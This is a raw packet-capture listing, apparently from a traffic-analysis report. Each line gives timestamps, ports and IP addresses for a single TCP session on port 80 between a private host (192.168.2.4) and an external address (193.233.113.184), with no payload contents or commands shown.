Sep 24, 2024 21:30:12.284459114 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284466028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284502983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284854889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284895897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284915924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284946918 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.284949064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284984112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.284998894 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285023928 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285026073 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285057068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285070896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285098076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285110950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285145044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285159111 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285180092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285187006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285218954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285222054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285262108 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285274982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285307884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285319090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285367966 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285434961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285470009 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285484076 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285504103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285515070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285538912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285550117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285573006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285581112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285608053 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285620928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285641909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.285646915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285691023 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.285995960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.286041021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.286047935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.286077023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.286093950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.286119938 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.286160946 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.286195993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.286210060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.286238909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.286293030 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.286326885 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.286340952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.286362886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.286370039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.286408901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287121058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287153959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287187099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287278891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287307978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287311077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287345886 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287364006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287379980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287401915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287431002 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287547112 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287579060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287587881 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287612915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287620068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287643909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287655115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287678003 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287688971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287713051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287724018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287749052 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287756920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287787914 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287889957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287921906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287940025 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287959099 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.287985086 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.287992001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288008928 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288027048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288047075 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288060904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288075924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288095951 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288116932 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288130045 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288147926 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288167953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288177967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288229942 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288320065 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288366079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288373947 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288408995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288419962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288454056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288530111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288562059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288578033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288594961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288606882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288629055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288639069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288671017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288764954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288803101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288810968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288839102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288847923 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288888931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288907051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288952112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.288961887 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.288994074 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289007902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289028883 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289046049 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289057970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289077997 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289092064 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289108038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289136887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289189100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289223909 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289237022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289257050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289267063 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289292097 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289299011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289328098 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289331913 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289364100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289372921 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289407015 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.289959908 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.289993048 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290014982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290029049 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290050983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290077925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290096998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290129900 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290144920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290163040 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290173054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290199041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290206909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290246010 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290390015 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290424109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290441036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290456057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290467978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290489912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290498972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290524960 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290534973 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290560961 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290570021 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290595055 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290606022 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290641069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290925026 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.290972948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.290982008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291016102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291027069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291062117 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291459084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291513920 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291516066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291531086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291555882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291569948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291672945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291690111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291706085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291718006 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291723013 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291737080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291759968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291867018 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291882038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291897058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291913033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291915894 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291932106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.291944981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.291977882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.292408943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.292463064 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.292464972 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.292481899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.292506933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.292520046 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.292577982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.292593956 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.292609930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.292623043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.292627096 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.292637110 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.292658091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.292679071 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.374687910 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.374762058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.374774933 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.374799967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.374818087 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.374834061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.374852896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.374870062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.374882936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.374905109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.374912977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.374939919 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.374952078 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.374986887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.374994993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375029087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375042915 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375062943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375078917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375097990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375108004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375133038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375138998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375166893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375178099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375204086 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375210047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375250101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375554085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375606060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375641108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375674963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375685930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375716925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375755072 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375787973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375808001 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375823975 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375828028 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375874043 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.375893116 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.375937939 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376043081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376076937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376094103 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376111984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376132965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376142979 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376162052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376178980 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376195908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376214981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376225948 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376260996 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376281977 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376315117 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376332045 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376359940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376430035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376461983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376481056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376494884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376516104 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376540899 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376590014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376622915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376641035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376662970 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376668930 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376699924 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376708031 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376737118 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376746893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376770973 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376781940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376806021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376813889 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376838923 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.376849890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376880884 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.376995087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377027988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377044916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377059937 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377084017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377100945 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377115011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377144098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377213955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377262115 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377265930 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377299070 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377314091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377329111 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377346992 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377362967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377374887 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377398014 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377405882 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377432108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377440929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377465963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377475977 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377500057 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377511978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377546072 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377602100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377649069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377712011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377746105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377763033 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377788067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377798080 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377831936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377846003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377866983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377873898 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377903938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:12.377908945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:12.377953053 CEST	49730	80	192.168.2.4	193.233.113.184
